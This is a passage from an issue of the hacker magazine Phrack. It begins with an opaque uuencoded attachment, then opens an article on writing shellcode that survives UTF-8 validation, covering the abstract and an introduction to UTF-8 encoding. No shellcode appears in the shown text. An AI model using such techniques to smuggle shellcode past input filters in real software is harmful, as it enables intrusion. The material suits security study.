M(D_:3Q"63=X3AL8#[@#$79@`PL[)W\<T]SD`B\L_F-)_RG_C/V!&E><G'-`5
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
`
end
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00
|=--------------[ Writing UTF-8 compatible shellcodes ]-----------------=|
|=----------------------------------------------------------------------=|
|=-----------[ Thomas Wana aka. greuff <greuff@void.at> ]--------------=|
|=----------------------------------------------------------------------=|
1 - Abstract
2 - What is UTF-8?
2.1 - UTF-8 in detail
2.2 - Advantages of using UTF-8
3 - The need for UTF-8 compatible shellcodes
3.1. - UTF-8 sequences
3.1.1 - Possible sequences
3.1.2 - UTF-8 shortest form
3.1.3 - Valid UTF-8 sequences
4 - Creating the shellcode
4.1 - Bytes that come in handy
4.1.1 - Continuation bytes
4.1.2 - Masking continuation bytes
4.1.3 - Chaining instructions
4.2 - General design rules
4.3 - Testing the code
5 - A working example
5.1 - The original shellcode
5.2 - UTF-8-ify
5.3 - Let's try it out
5.4 - A real exploit using these techniques
6. - Considerations
6.1 - Automated shellcode transformer
6.2 - UTF-8 in XML-files
7 - Greetings, last words
- ----------------------------------------------------------------------------
- ---[ 1. Abstract
This paper deals with the creation of shellcode that is recognized as
valid by any UTF-8 parser. The problem is not unlike the alphanumeric
shellcodes problem described by rix in phrack 57 [4], but fortunately
we have much more characters available, so we can almost always build
shellcode that is valid UTF-8 and does what we want.
I will show you a brief introduction into UTF-8 and will outline the
characters available for building shellcodes. You will see that it's
generally possible to make any shellcode valid UTF-8, but you will have
to think quite a bit. A working example is provided at the end for
reference.
- ----------------------------------------------------------------------------
- ---[ 2. What is UTF-8?
For a really great introduction into the topic, I highly suggest reading
the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.
UTF-8 is a character encoding, suitable to represent all 2^31 characters
defined by the UNICODE standard. The really neat thing about UTF-8 is
that all ASCII characters (the lower codepage in standard encodings like
ISO-8859-1 etc) are the same in UTF-8 - no conversion needed. That means,
in the best case, all your config files in /etc and every English text
document you have on your computer right now are already 100% valid UTF-8.
Unicode characters are written like this: U-0000007F, which stands for
"the 128th character in the Unicode character space". You can see that
with this representation one can easily represent all 2^31 characters that
the Unicode-standard defines, but it's a waste of space (when you write
English or western text) and - much more important - makes the transition
to Unicode very hard (convert all the files you already have). "Hello"
would thus be encoded like:
U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F
which is in hex:
\x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00
\x6F\x00\x00\x00
(for all you little endian friends).
What a waste of space! 20 bytes for 5 characters... The same text in
UTF-8:
"Hello"
:-)
Let's look at the encoding in more detail.
- ---[ 2.1. UTF-8 in detail
UTF-8 can represent any Unicode character in an UTF-8 sequence between
1-6 bytes.
As I already mentioned before, the characters in the lower codepage
(ASCII-code) are the same in Unicode - they have the character values
U-00000000 - U-0000007F. You therefore still only need 7 bits to
represent all possible values. UTF-8 says, if you only need up to 7
bits for your character, stuff it into one byte and you are fine.
Unicode-characters that have higher values than U-0000007F must be
mapped to two or more bytes, as shown in the table below:
U-00000000 - U-0000007F: 0xxxxxxx
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
Example: U-000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS)
This character's value is between U-00000080 and U-000007FF, so we
have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF-8 fills
up the places marked 'x' above with these bits, beginning at the
lowest significant bit.
110xxxxx 10xxxxxx
+ 11 000100
-----------------
11000011 10000100
which results in 0xC3 0x84 in UTF-8.
Example: U-0000211C (BLACK-LETTER CAPITAL R)
The same here. According to the table above, we need 3 bytes to encode
this character.
0x211C is 00100001 00011100 binary. Lets fill up the spaces:
1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
